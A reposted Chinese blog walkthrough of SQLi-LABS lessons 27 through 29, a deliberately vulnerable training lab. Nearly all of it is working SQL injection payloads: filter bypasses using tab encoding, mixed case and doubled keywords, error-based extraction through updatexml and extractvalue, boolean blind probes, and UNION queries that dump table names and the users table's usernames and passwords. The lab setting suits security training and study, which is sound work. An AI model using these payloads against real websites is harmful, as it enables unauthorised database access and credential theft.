SQLi-LABS Page-2 (Adv Injections) Less27-Less29

最新推荐文章于 2023-07-25 16:01:14 发布

转载最新推荐文章于 2023-07-25 16:01:14 发布 · 91 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/hack404/p/11084148.html

本文深入探讨了多种SQL注入攻击手法，包括错误注入、盲注、联合查询注入等，通过实例展示了如何利用特定payload进行数据库信息泄露。适用于渗透测试人员及数据库安全防护研究。

Less-27

GET - Error Based- All your UNION and select belong to us

过滤了union 和select的报错注入

查看源码：

使用%09 替换空格，大小写混淆绕过，关键字符，双写等绕过 UNiON,SElecT ununionion seselectlect

payload：

http://10.10.202.112/sqli/Less-27/?id=1' %09and %09updatexml(null,concat(0x0a,(SELect%09version())),null) %09and 's'='s

http://10.10.202.112/sqli/Less-27/?id=1' %09and%09 extractvalue(0x0a,concat(0x0a,(selECt %09table_name %09from %09information_schema.tables %09where %09table_schema=database()%09 limit %090,1)))%09and 's'='s

Less-27a

GET - Blind Based- All your UNION and SELE belong to us

http://10.10.202.112/sqli/Less-27a?id=1" #报错

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\phpStudy2018\PHPTutorial\WWW\sqli\Less-27a\index.php on line 37

http://10.10.202.112/sqli/Less-27a?id=1" and "s"="s #闭合

这里采用盲注：

http://10.10.202.112/sqli/Less-27a?id=1" %09and %09substr(@@version,1,1)=5 %09and %09"s"="s #true

http://10.10.202.112/sqli/Less-27a?id=1" %09and %09substr(@@version,1,1)=4 %09and %09"s"="s #false

Less-28

GET - Error Based- All your UNION AND SELE BELONG to us

SQL

SELECT * FROM users WHERE id=('$id') LIMIT 0,1

http://10.10.202.112/sqli/Less-28?id=1' #报错

http://10.10.202.112/sqli/Less-28?id=1') and ('s')=('s #闭合

http://10.10.202.112/sqli/Less-28?id=1000') %09UNION%09ALL%09SELECT%091,user(),3%09and %09('s')=('s

Less-28a

GET - Blind Based- All your UNION AND SELET to BELONG TO us

http://10.10.202.112/sqli/Less-28a?id=1') --+ #闭合

http://10.10.202.112/sqli/Less-28a?id=1') order by 4--+ #false

http://10.10.202.112/sqli/Less-28a?id=1') order by 3--+ #=true

http://10.10.202.112/sqli/Less-28a?id=10000') +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users),3--+

Less-29

GET -Error based- IMPIDENCE MISMATCH- Ha

http://10.10.202.112/sqli/Less-29?id=1' #报错

http://10.10.202.112/sqli/Less-29?id=1'--+ #闭合

http://10.10.202.112/sqli/Less-29?id=-1' +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3--+